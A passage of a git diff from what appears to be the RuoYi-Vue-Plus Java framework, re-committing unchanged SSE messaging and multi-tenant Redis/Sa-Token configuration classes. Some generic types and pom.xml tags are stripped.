sseEmitterManager.publishMessage(dto); - return R.ok(); - } - - /** - * 向所有用户发送消息 - * - * @param msg 要发送的消息内容 - */ - @GetMapping(value = "${sse.path}/sendAll") - public R send(String msg) { - sseEmitterManager.publishAll(msg); - return R.ok(); - } - - /** - * 清理资源。此方法目前不执行任何操作,但避免因未实现而导致错误 - */ - @Override - public void destroy() throws Exception { - // 销毁时不需要做什么 此方法避免无用操作报错 - } - -} +package org.dromara.common.sse.controller; + +import cn.dev33.satoken.annotation.SaIgnore; +import cn.dev33.satoken.stp.StpUtil; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.sse.core.SseEmitterManager; +import org.dromara.common.sse.dto.SseMessageDto; +import org.springframework.beans.factory.DisposableBean; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.servlet.mvc.method.annotation.SseEmitter; + +import java.util.List; + +/** + * SSE 控制器 + * + * @author Lion Li + */ +@RestController +@ConditionalOnProperty(value = "sse.enabled", havingValue = "true") +@RequiredArgsConstructor +public class SseController implements DisposableBean { + + private final SseEmitterManager sseEmitterManager; + + /** + * 建立 SSE 连接 + */ + @GetMapping(value = "${sse.path}", produces = MediaType.TEXT_EVENT_STREAM_VALUE) + public SseEmitter connect() { + String tokenValue = StpUtil.getTokenValue(); + Long userId = LoginHelper.getUserId(); + return sseEmitterManager.connect(userId, tokenValue); + } + + /** + * 关闭 SSE 连接 + */ + @SaIgnore + @GetMapping(value = "${sse.path}/close") + public R close() { + String tokenValue = StpUtil.getTokenValue(); + Long userId = LoginHelper.getUserId(); + sseEmitterManager.disconnect(userId, tokenValue); + return R.ok(); + } + + /** + * 向特定用户发送消息 + * + * @param userId 目标用户的 ID + * @param msg 要发送的消息内容 + */ + @GetMapping(value = "${sse.path}/send") + public R send(Long userId, String msg) { + SseMessageDto dto = new SseMessageDto(); + dto.setUserIds(List.of(userId)); + dto.setMessage(msg); + sseEmitterManager.publishMessage(dto); + return R.ok(); + } + + /** + * 向所有用户发送消息 + * + * @param msg 要发送的消息内容 + */ + @GetMapping(value = "${sse.path}/sendAll") + public R send(String msg) { + sseEmitterManager.publishAll(msg); + return R.ok(); + } + + /** + * 清理资源。此方法目前不执行任何操作,但避免因未实现而导致错误 + */ + @Override + public void destroy() throws Exception { + // 销毁时不需要做什么 此方法避免无用操作报错 + } + +} diff --git a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/core/SseEmitterManager.java b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/core/SseEmitterManager.java index c26adca..8ec3085 100644 --- a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/core/SseEmitterManager.java +++ b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/core/SseEmitterManager.java @@ -1,147 +1,147 @@ -package org.dromara.common.sse.core; - -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.common.sse.dto.SseMessageDto; -import org.springframework.web.servlet.mvc.method.annotation.SseEmitter; - -import java.io.IOException; -import java.util.Map; -import java.util.concurrent.ConcurrentHashMap; -import java.util.function.Consumer; - -/** - * 管理 Server-Sent Events (SSE) 连接 - * - * @author Lion Li - */ -@Slf4j -public class SseEmitterManager { - - /** - * 订阅的频道 - */ - private final static String SSE_TOPIC = "global:sse"; - - private final static Map> USER_TOKEN_EMITTERS = new ConcurrentHashMap<>(); - - /** - * 建立与指定用户的 SSE 连接 - * - * @param userId 用户的唯一标识符,用于区分不同用户的连接 - * @param token 用户的唯一令牌,用于识别具体的连接 - * @return 返回一个 SseEmitter 实例,客户端可以通过该实例接收 SSE 事件 - */ - public SseEmitter connect(Long userId, String token) { - // 从 USER_TOKEN_EMITTERS 中获取或创建当前用户的 SseEmitter 映射表(ConcurrentHashMap) - // 每个用户可以有多个 SSE 连接,通过 token 进行区分 - Map emitters = USER_TOKEN_EMITTERS.computeIfAbsent(userId, k -> new ConcurrentHashMap<>()); - - // 创建一个新的 SseEmitter 实例,超时时间设置为 0 表示无限制 - SseEmitter emitter = new SseEmitter(0L); - - emitters.put(token, emitter); - - // 当 emitter 完成、超时或发生错误时,从映射表中移除对应的 token - emitter.onCompletion(() -> emitters.remove(token)); - emitter.onTimeout(() -> emitters.remove(token)); - emitter.onError((e) -> emitters.remove(token)); - - try { - // 向客户端发送一条连接成功的事件 - emitter.send(SseEmitter.event().comment("connected")); - } catch (IOException e) { - // 如果发送消息失败,则从映射表中移除 emitter - emitters.remove(token); - } - return emitter; - } - - /** - * 断开指定用户的 SSE 连接 - * - * @param userId 用户的唯一标识符,用于区分不同用户的连接 - * @param token 用户的唯一令牌,用于识别具体的连接 - */ - public void disconnect(Long userId, String token) { - Map emitters = USER_TOKEN_EMITTERS.get(userId); - if (emitters != null) { - try { - SseEmitter sseEmitter = emitters.get(token); - sseEmitter.send(SseEmitter.event().comment("disconnected")); - sseEmitter.complete(); - } catch (Exception ignore) { - } - emitters.remove(token); - } - } - - /** - * 订阅SSE消息主题,并提供一个消费者函数来处理接收到的消息 - * - * @param consumer 处理SSE消息的消费者函数 - */ - public void subscribeMessage(Consumer consumer) { - RedisUtils.subscribe(SSE_TOPIC, SseMessageDto.class, consumer); - } - - /** - * 向指定的用户会话发送消息 - * - * @param userId 要发送消息的用户id - * @param message 要发送的消息内容 - */ - public void sendMessage(Long userId, String message) { - Map emitters = USER_TOKEN_EMITTERS.get(userId); - if (emitters != null) { - for (Map.Entry entry : emitters.entrySet()) { - try { - entry.getValue().send(SseEmitter.event() - .name("message") - .data(message)); - } catch (Exception e) { - emitters.remove(entry.getKey()); - } - } - } - } - - /** - * 本机全用户会话发送消息 - * - * @param message 要发送的消息内容 - */ - public void sendMessage(String message) { - for (Long userId : USER_TOKEN_EMITTERS.keySet()) { - sendMessage(userId, message); - } - } - - /** - * 发布SSE订阅消息 - * - * @param sseMessageDto 要发布的SSE消息对象 - */ - public void publishMessage(SseMessageDto sseMessageDto) { - SseMessageDto broadcastMessage = new SseMessageDto(); - broadcastMessage.setMessage(sseMessageDto.getMessage()); - broadcastMessage.setUserIds(sseMessageDto.getUserIds()); - RedisUtils.publish(SSE_TOPIC, broadcastMessage, consumer -> { - log.info("SSE发送主题订阅消息topic:{} session keys:{} message:{}", - SSE_TOPIC, sseMessageDto.getUserIds(), sseMessageDto.getMessage()); - }); - } - - /** - * 向所有的用户发布订阅的消息(群发) - * - * @param message 要发布的消息内容 - */ - public void publishAll(String message) { - SseMessageDto broadcastMessage = new SseMessageDto(); - broadcastMessage.setMessage(message); - RedisUtils.publish(SSE_TOPIC, broadcastMessage, consumer -> { - log.info("SSE发送主题订阅消息topic:{} message:{}", SSE_TOPIC, message); - }); - } -} +package org.dromara.common.sse.core; + +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.common.sse.dto.SseMessageDto; +import org.springframework.web.servlet.mvc.method.annotation.SseEmitter; + +import java.io.IOException; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.function.Consumer; + +/** + * 管理 Server-Sent Events (SSE) 连接 + * + * @author Lion Li + */ +@Slf4j +public class SseEmitterManager { + + /** + * 订阅的频道 + */ + private final static String SSE_TOPIC = "global:sse"; + + private final static Map> USER_TOKEN_EMITTERS = new ConcurrentHashMap<>(); + + /** + * 建立与指定用户的 SSE 连接 + * + * @param userId 用户的唯一标识符,用于区分不同用户的连接 + * @param token 用户的唯一令牌,用于识别具体的连接 + * @return 返回一个 SseEmitter 实例,客户端可以通过该实例接收 SSE 事件 + */ + public SseEmitter connect(Long userId, String token) { + // 从 USER_TOKEN_EMITTERS 中获取或创建当前用户的 SseEmitter 映射表(ConcurrentHashMap) + // 每个用户可以有多个 SSE 连接,通过 token 进行区分 + Map emitters = USER_TOKEN_EMITTERS.computeIfAbsent(userId, k -> new ConcurrentHashMap<>()); + + // 创建一个新的 SseEmitter 实例,超时时间设置为 0 表示无限制 + SseEmitter emitter = new SseEmitter(0L); + + emitters.put(token, emitter); + + // 当 emitter 完成、超时或发生错误时,从映射表中移除对应的 token + emitter.onCompletion(() -> emitters.remove(token)); + emitter.onTimeout(() -> emitters.remove(token)); + emitter.onError((e) -> emitters.remove(token)); + + try { + // 向客户端发送一条连接成功的事件 + emitter.send(SseEmitter.event().comment("connected")); + } catch (IOException e) { + // 如果发送消息失败,则从映射表中移除 emitter + emitters.remove(token); + } + return emitter; + } + + /** + * 断开指定用户的 SSE 连接 + * + * @param userId 用户的唯一标识符,用于区分不同用户的连接 + * @param token 用户的唯一令牌,用于识别具体的连接 + */ + public void disconnect(Long userId, String token) { + Map emitters = USER_TOKEN_EMITTERS.get(userId); + if (emitters != null) { + try { + SseEmitter sseEmitter = emitters.get(token); + sseEmitter.send(SseEmitter.event().comment("disconnected")); + sseEmitter.complete(); + } catch (Exception ignore) { + } + emitters.remove(token); + } + } + + /** + * 订阅SSE消息主题,并提供一个消费者函数来处理接收到的消息 + * + * @param consumer 处理SSE消息的消费者函数 + */ + public void subscribeMessage(Consumer consumer) { + RedisUtils.subscribe(SSE_TOPIC, SseMessageDto.class, consumer); + } + + /** + * 向指定的用户会话发送消息 + * + * @param userId 要发送消息的用户id + * @param message 要发送的消息内容 + */ + public void sendMessage(Long userId, String message) { + Map emitters = USER_TOKEN_EMITTERS.get(userId); + if (emitters != null) { + for (Map.Entry entry : emitters.entrySet()) { + try { + entry.getValue().send(SseEmitter.event() + .name("message") + .data(message)); + } catch (Exception e) { + emitters.remove(entry.getKey()); + } + } + } + } + + /** + * 本机全用户会话发送消息 + * + * @param message 要发送的消息内容 + */ + public void sendMessage(String message) { + for (Long userId : USER_TOKEN_EMITTERS.keySet()) { + sendMessage(userId, message); + } + } + + /** + * 发布SSE订阅消息 + * + * @param sseMessageDto 要发布的SSE消息对象 + */ + public void publishMessage(SseMessageDto sseMessageDto) { + SseMessageDto broadcastMessage = new SseMessageDto(); + broadcastMessage.setMessage(sseMessageDto.getMessage()); + broadcastMessage.setUserIds(sseMessageDto.getUserIds()); + RedisUtils.publish(SSE_TOPIC, broadcastMessage, consumer -> { + log.info("SSE发送主题订阅消息topic:{} session keys:{} message:{}", + SSE_TOPIC, sseMessageDto.getUserIds(), sseMessageDto.getMessage()); + }); + } + + /** + * 向所有的用户发布订阅的消息(群发) + * + * @param message 要发布的消息内容 + */ + public void publishAll(String message) { + SseMessageDto broadcastMessage = new SseMessageDto(); + broadcastMessage.setMessage(message); + RedisUtils.publish(SSE_TOPIC, broadcastMessage, consumer -> { + log.info("SSE发送主题订阅消息topic:{} message:{}", SSE_TOPIC, message); + }); + } +} diff --git a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/dto/SseMessageDto.java b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/dto/SseMessageDto.java index a2e1210..a9ee5f2 100644 --- a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/dto/SseMessageDto.java +++ b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/dto/SseMessageDto.java @@ -1,29 +1,29 @@ -package org.dromara.common.sse.dto; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.List; - -/** - * 消息的dto - * - * @author zendwang - */ -@Data -public class SseMessageDto implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 需要推送到的session key 列表 - */ - private List userIds; - - /** - * 需要发送的消息 - */ - private String message; -} +package org.dromara.common.sse.dto; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.List; + +/** + * 消息的dto + * + * @author zendwang + */ +@Data +public class SseMessageDto implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 需要推送到的session key 列表 + */ + private List userIds; + + /** + * 需要发送的消息 + */ + private String message; +} diff --git a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/listener/SseTopicListener.java b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/listener/SseTopicListener.java index 7a4dff1..474a8b1 100644 --- a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/listener/SseTopicListener.java +++ b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/listener/SseTopicListener.java @@ -1,48 +1,48 @@ -package org.dromara.common.sse.listener; - -import cn.hutool.core.collection.CollUtil; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.sse.core.SseEmitterManager; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.boot.ApplicationArguments; -import org.springframework.boot.ApplicationRunner; -import org.springframework.core.Ordered; - -/** - * SSE 主题订阅监听器 - * - * @author Lion Li - */ -@Slf4j -public class SseTopicListener implements ApplicationRunner, Ordered { - - @Autowired - private SseEmitterManager sseEmitterManager; - - /** - * 在Spring Boot应用程序启动时初始化SSE主题订阅监听器 - * - * @param args 应用程序参数 - * @throws Exception 初始化过程中可能抛出的异常 - */ - @Override - public void run(ApplicationArguments args) throws Exception { - sseEmitterManager.subscribeMessage((message) -> { - log.info("SSE主题订阅收到消息session keys={} message={}", message.getUserIds(), message.getMessage()); - // 如果key不为空就按照key发消息 如果为空就群发 - if (CollUtil.isNotEmpty(message.getUserIds())) { - message.getUserIds().forEach(key -> { - sseEmitterManager.sendMessage(key, message.getMessage()); - }); - } else { - sseEmitterManager.sendMessage(message.getMessage()); - } - }); - log.info("初始化SSE主题订阅监听器成功"); - } - - @Override - public int getOrder() { - return -1; - } -} +package org.dromara.common.sse.listener; + +import cn.hutool.core.collection.CollUtil; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.sse.core.SseEmitterManager; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.ApplicationArguments; +import org.springframework.boot.ApplicationRunner; +import org.springframework.core.Ordered; + +/** + * SSE 主题订阅监听器 + * + * @author Lion Li + */ +@Slf4j +public class SseTopicListener implements ApplicationRunner, Ordered { + + @Autowired + private SseEmitterManager sseEmitterManager; + + /** + * 在Spring Boot应用程序启动时初始化SSE主题订阅监听器 + * + * @param args 应用程序参数 + * @throws Exception 初始化过程中可能抛出的异常 + */ + @Override + public void run(ApplicationArguments args) throws Exception { + sseEmitterManager.subscribeMessage((message) -> { + log.info("SSE主题订阅收到消息session keys={} message={}", message.getUserIds(), message.getMessage()); + // 如果key不为空就按照key发消息 如果为空就群发 + if (CollUtil.isNotEmpty(message.getUserIds())) { + message.getUserIds().forEach(key -> { + sseEmitterManager.sendMessage(key, message.getMessage()); + }); + } else { + sseEmitterManager.sendMessage(message.getMessage()); + } + }); + log.info("初始化SSE主题订阅监听器成功"); + } + + @Override + public int getOrder() { + return -1; + } +} diff --git a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/utils/SseMessageUtils.java b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/utils/SseMessageUtils.java index c6abdc8..a09f459 100644 --- a/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/utils/SseMessageUtils.java +++ b/ruoyi-common/ruoyi-common-sse/src/main/java/org/dromara/common/sse/utils/SseMessageUtils.java @@ -1,58 +1,58 @@ -package org.dromara.common.sse.utils; - -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.sse.core.SseEmitterManager; -import org.dromara.common.sse.dto.SseMessageDto; - -/** - * SSE工具类 - * - * @author Lion Li - */ -@Slf4j -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class SseMessageUtils { - - private final static SseEmitterManager MANAGER = SpringUtils.getBean(SseEmitterManager.class); - - /** - * 向指定的WebSocket会话发送消息 - * - * @param userId 要发送消息的用户id - * @param message 要发送的消息内容 - */ - public static void sendMessage(Long userId, String message) { - MANAGER.sendMessage(userId, message); - } - - /** - * 本机全用户会话发送消息 - * - * @param message 要发送的消息内容 - */ - public static void sendMessage(String message) { - MANAGER.sendMessage(message); - } - - /** - * 发布SSE订阅消息 - * - * @param sseMessageDto 要发布的SSE消息对象 - */ - public static void publishMessage(SseMessageDto sseMessageDto) { - MANAGER.publishMessage(sseMessageDto); - } - - /** - * 向所有的用户发布订阅的消息(群发) - * - * @param message 要发布的消息内容 - */ - public static void publishAll(String message) { - MANAGER.publishAll(message); - } - -} +package org.dromara.common.sse.utils; + +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.sse.core.SseEmitterManager; +import org.dromara.common.sse.dto.SseMessageDto; + +/** + * SSE工具类 + * + * @author Lion Li + */ +@Slf4j +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class SseMessageUtils { + + private final static SseEmitterManager MANAGER = SpringUtils.getBean(SseEmitterManager.class); + + /** + * 向指定的WebSocket会话发送消息 + * + * @param userId 要发送消息的用户id + * @param message 要发送的消息内容 + */ + public static void sendMessage(Long userId, String message) { + MANAGER.sendMessage(userId, message); + } + + /** + * 本机全用户会话发送消息 + * + * @param message 要发送的消息内容 + */ + public static void sendMessage(String message) { + MANAGER.sendMessage(message); + } + + /** + * 发布SSE订阅消息 + * + * @param sseMessageDto 要发布的SSE消息对象 + */ + public static void publishMessage(SseMessageDto sseMessageDto) { + MANAGER.publishMessage(sseMessageDto); + } + + /** + * 向所有的用户发布订阅的消息(群发) + * + * @param message 要发布的消息内容 + */ + public static void publishAll(String message) { + MANAGER.publishAll(message); + } + +} diff --git a/ruoyi-common/ruoyi-common-sse/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-sse/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index b809713..0bddce5 100644 --- a/ruoyi-common/ruoyi-common-sse/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-sse/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.sse.config.SseAutoConfiguration +org.dromara.common.sse.config.SseAutoConfiguration diff --git a/ruoyi-common/ruoyi-common-tenant/pom.xml b/ruoyi-common/ruoyi-common-tenant/pom.xml index 8e1a6ab..b5f8fd1 100644 --- a/ruoyi-common/ruoyi-common-tenant/pom.xml +++ b/ruoyi-common/ruoyi-common-tenant/pom.xml @@ -1,32 +1,32 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-tenant - - - ruoyi-common-tenant 租户模块 - - - - - org.dromara - ruoyi-common-mybatis - true - - - - org.dromara - ruoyi-common-redis - - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-tenant + + + ruoyi-common-tenant 租户模块 + + + + + org.dromara + ruoyi-common-mybatis + true + + + + org.dromara + ruoyi-common-redis + + + + + diff --git a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/config/TenantConfig.java b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/config/TenantConfig.java index 2513aac..79403fc 100644 --- a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/config/TenantConfig.java +++ b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/config/TenantConfig.java @@ -1,88 +1,88 @@ -package org.dromara.common.tenant.config; - -import cn.dev33.satoken.dao.SaTokenDao; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor; -import org.dromara.common.core.utils.reflect.ReflectUtils; -import org.dromara.common.redis.config.RedisConfig; -import org.dromara.common.redis.config.properties.RedissonProperties; -import org.dromara.common.tenant.core.TenantSaTokenDao; -import org.dromara.common.tenant.handle.PlusTenantLineHandler; -import org.dromara.common.tenant.handle.TenantKeyPrefixHandler; -import org.dromara.common.tenant.manager.TenantSpringCacheManager; -import org.dromara.common.tenant.properties.TenantProperties; -import org.redisson.config.ClusterServersConfig; -import org.redisson.config.SingleServerConfig; -import org.redisson.spring.starter.RedissonAutoConfigurationCustomizer; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.autoconfigure.condition.ConditionalOnClass; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.cache.CacheManager; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Primary; - -/** - * 租户配置类 - * - * @author Lion Li - */ -@EnableConfigurationProperties(TenantProperties.class) -@AutoConfiguration(after = {RedisConfig.class}) -@ConditionalOnProperty(value = "tenant.enable", havingValue = "true") -public class TenantConfig { - - @ConditionalOnClass(TenantLineInnerInterceptor.class) - @AutoConfiguration - static class MybatisPlusConfiguration { - - /** - * 多租户插件 - */ - @Bean - public TenantLineInnerInterceptor tenantLineInnerInterceptor(TenantProperties tenantProperties) { - return new TenantLineInnerInterceptor(new PlusTenantLineHandler(tenantProperties)); - } - - } - - @Bean - public RedissonAutoConfigurationCustomizer tenantRedissonCustomizer(RedissonProperties redissonProperties) { - return config -> { - TenantKeyPrefixHandler nameMapper = new TenantKeyPrefixHandler(redissonProperties.getKeyPrefix()); - SingleServerConfig singleServerConfig = ReflectUtils.invokeGetter(config, "singleServerConfig"); - if (ObjectUtil.isNotNull(singleServerConfig)) { - // 使用单机模式 - // 设置多租户 redis key前缀 - singleServerConfig.setNameMapper(nameMapper); - ReflectUtils.invokeSetter(config, "singleServerConfig", singleServerConfig); - } - ClusterServersConfig clusterServersConfig = ReflectUtils.invokeGetter(config, "clusterServersConfig"); - // 集群配置方式 参考下方注释 - if (ObjectUtil.isNotNull(clusterServersConfig)) { - // 设置多租户 redis key前缀 - clusterServersConfig.setNameMapper(nameMapper); - ReflectUtils.invokeSetter(config, "clusterServersConfig", clusterServersConfig); - } - }; - } - - /** - * 多租户缓存管理器 - */ - @Primary - @Bean - public CacheManager tenantCacheManager() { - return new TenantSpringCacheManager(); - } - - /** - * 多租户鉴权dao实现 - */ - @Primary - @Bean - public SaTokenDao tenantSaTokenDao() { - return new TenantSaTokenDao(); - } - -} +package org.dromara.common.tenant.config; + +import cn.dev33.satoken.dao.SaTokenDao; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor; +import org.dromara.common.core.utils.reflect.ReflectUtils; +import org.dromara.common.redis.config.RedisConfig; +import org.dromara.common.redis.config.properties.RedissonProperties; +import org.dromara.common.tenant.core.TenantSaTokenDao; +import org.dromara.common.tenant.handle.PlusTenantLineHandler; +import org.dromara.common.tenant.handle.TenantKeyPrefixHandler; +import org.dromara.common.tenant.manager.TenantSpringCacheManager; +import org.dromara.common.tenant.properties.TenantProperties; +import org.redisson.config.ClusterServersConfig; +import org.redisson.config.SingleServerConfig; +import org.redisson.spring.starter.RedissonAutoConfigurationCustomizer; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnClass; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.cache.CacheManager; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Primary; + +/** + * 租户配置类 + * + * @author Lion Li + */ +@EnableConfigurationProperties(TenantProperties.class) +@AutoConfiguration(after = {RedisConfig.class}) +@ConditionalOnProperty(value = "tenant.enable", havingValue = "true") +public class TenantConfig { + + @ConditionalOnClass(TenantLineInnerInterceptor.class) + @AutoConfiguration + static class MybatisPlusConfiguration { + + /** + * 多租户插件 + */ + @Bean + public TenantLineInnerInterceptor tenantLineInnerInterceptor(TenantProperties tenantProperties) { + return new TenantLineInnerInterceptor(new PlusTenantLineHandler(tenantProperties)); + } + + } + + @Bean + public RedissonAutoConfigurationCustomizer tenantRedissonCustomizer(RedissonProperties redissonProperties) { + return config -> { + TenantKeyPrefixHandler nameMapper = new TenantKeyPrefixHandler(redissonProperties.getKeyPrefix()); + SingleServerConfig singleServerConfig = ReflectUtils.invokeGetter(config, "singleServerConfig"); + if (ObjectUtil.isNotNull(singleServerConfig)) { + // 使用单机模式 + // 设置多租户 redis key前缀 + singleServerConfig.setNameMapper(nameMapper); + ReflectUtils.invokeSetter(config, "singleServerConfig", singleServerConfig); + } + ClusterServersConfig clusterServersConfig = ReflectUtils.invokeGetter(config, "clusterServersConfig"); + // 集群配置方式 参考下方注释 + if (ObjectUtil.isNotNull(clusterServersConfig)) { + // 设置多租户 redis key前缀 + clusterServersConfig.setNameMapper(nameMapper); + ReflectUtils.invokeSetter(config, "clusterServersConfig", clusterServersConfig); + } + }; + } + + /** + * 多租户缓存管理器 + */ + @Primary + @Bean + public CacheManager tenantCacheManager() { + return new TenantSpringCacheManager(); + } + + /** + * 多租户鉴权dao实现 + */ + @Primary + @Bean + public SaTokenDao tenantSaTokenDao() { + return new TenantSaTokenDao(); + } + +} diff --git a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/core/TenantEntity.java b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/core/TenantEntity.java index 400f984..6964314 100644 --- a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/core/TenantEntity.java +++ b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/core/TenantEntity.java @@ -1,21 +1,21 @@ -package org.dromara.common.tenant.core; - -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; - -/** - * 租户基类 - * - * @author Michelle.Chung - */ -@Data -@EqualsAndHashCode(callSuper = true) -public class TenantEntity extends BaseEntity { - - /** - * 租户编号 - */ - private String tenantId; - -} +package org.dromara.common.tenant.core; + +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; + +/** + * 租户基类 + * + * @author Michelle.Chung + */ +@Data +@EqualsAndHashCode(callSuper = true) +public class TenantEntity extends BaseEntity { + + /** + * 租户编号 + */ + private String tenantId; + +} diff --git a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/core/TenantSaTokenDao.java b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/core/TenantSaTokenDao.java index b8da28e..f2d84cb 100644 --- a/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/core/TenantSaTokenDao.java +++ b/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/core/TenantSaTokenDao.java @@ -1,148 +1,148 @@ -package org.dromara.common.tenant.core; - -import org.dromara.common.core.constant.GlobalConstants; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.common.satoken.core.dao.PlusSaTokenDao; - -import java.time.Duration; -import java.util.List; - -/** - * SaToken 认证数据持久层 适配多租户 - * - * @author Lion Li - */ -public class TenantSaTokenDao extends PlusSaTokenDao { - - @Override - public String get(String key) { - return super.get(GlobalConstants.GLOBAL_REDIS_KEY + key); - } - - @Override - public void set(String key, String value, long timeout) { - super.set(GlobalConstants.GLOBAL_REDIS_KEY + key, value, timeout); - } - - /** - * 修修改指定key-value键值对 (过期时间不变) - */ - @Override - public void update(String key, String value) { - long expire = getTimeout(key); - // -2 = 无此键 - if (expire == NOT_VALUE_EXPIRE) { - return; - } - this.set(key, value, expire); - } - - /** - * 删除Value - */ - @Override - public void delete(String key) { - super.delete(GlobalConstants.GLOBAL_REDIS_KEY + key); - } - - /** - * 获取Value的剩余存活时间 (单位: 秒) - */ - @Override - public long getTimeout(String key) { - return super.getTimeout(GlobalConstants.GLOBAL_REDIS_KEY + key); - } - - /** - * 修改Value的剩余存活时间 (单位: 秒) - */ - @Override - public void updateTimeout(String key, long timeout) { - // 判断是否想要设置为永久 - if (timeout == NEVER_EXPIRE) { - long expire = getTimeout(key); - if (expire == NEVER_EXPIRE) { - // 如果其已经被设置为永久,则不作任何处理 - } else { - // 如果尚未被设置为永久,那么再次set一次 - this.set(key, this.get(key), timeout); - } - return; - } - RedisUtils.expire(GlobalConstants.GLOBAL_REDIS_KEY + key, Duration.ofSeconds(timeout)); - } - - - /** - * 获取Object,如无返空 - */ - @Override - public Object getObject(String key) { - return super.getObject(GlobalConstants.GLOBAL_REDIS_KEY + key); - } - - /** - * 写入Object,并设定存活时间 (单位: 秒) - */ - @Override - public void setObject(String key, Object object, long timeout) { - super.setObject(GlobalConstants.GLOBAL_REDIS_KEY + key, object, timeout); - } - - /** - * 更新Object (过期时间不变) - */ - @Override - public void updateObject(String key, Object object) { - long expire = getObjectTimeout(key); - // -2 = 无此键 - if (expire == NOT_VALUE_EXPIRE) { - return; - } - this.setObject(key, object, expire); - } - - /** - * 删除Object - */ - @Override - public void deleteObject(String key) { - super.deleteObject(GlobalConstants.GLOBAL_REDIS_KEY + key); - } - - /** - * 获取Object的剩余存活时间 (单位: 秒) - */ - @Override - public long getObjectTimeout(String key) { - return super.getObjectTimeout(GlobalConstants.GLOBAL_REDIS_KEY + key); - } - - /** - * 修改Object的剩余存活时间 (单位: 秒) - */ - @Override - public void updateObjectTimeout(String key, long timeout) { - // 判断是否想要设置为永久 - if (timeout == NEVER_EXPIRE) { - long expire = getObjectTimeout(key); - if (expire == NEVER_EXPIRE) { - // 如果其已经被设置为永久,则不作任何处理 - } else { - // 如果尚未被设置为永久,那么再次set一次 - this.setObject(key, this.getObject(key), timeout); - } - 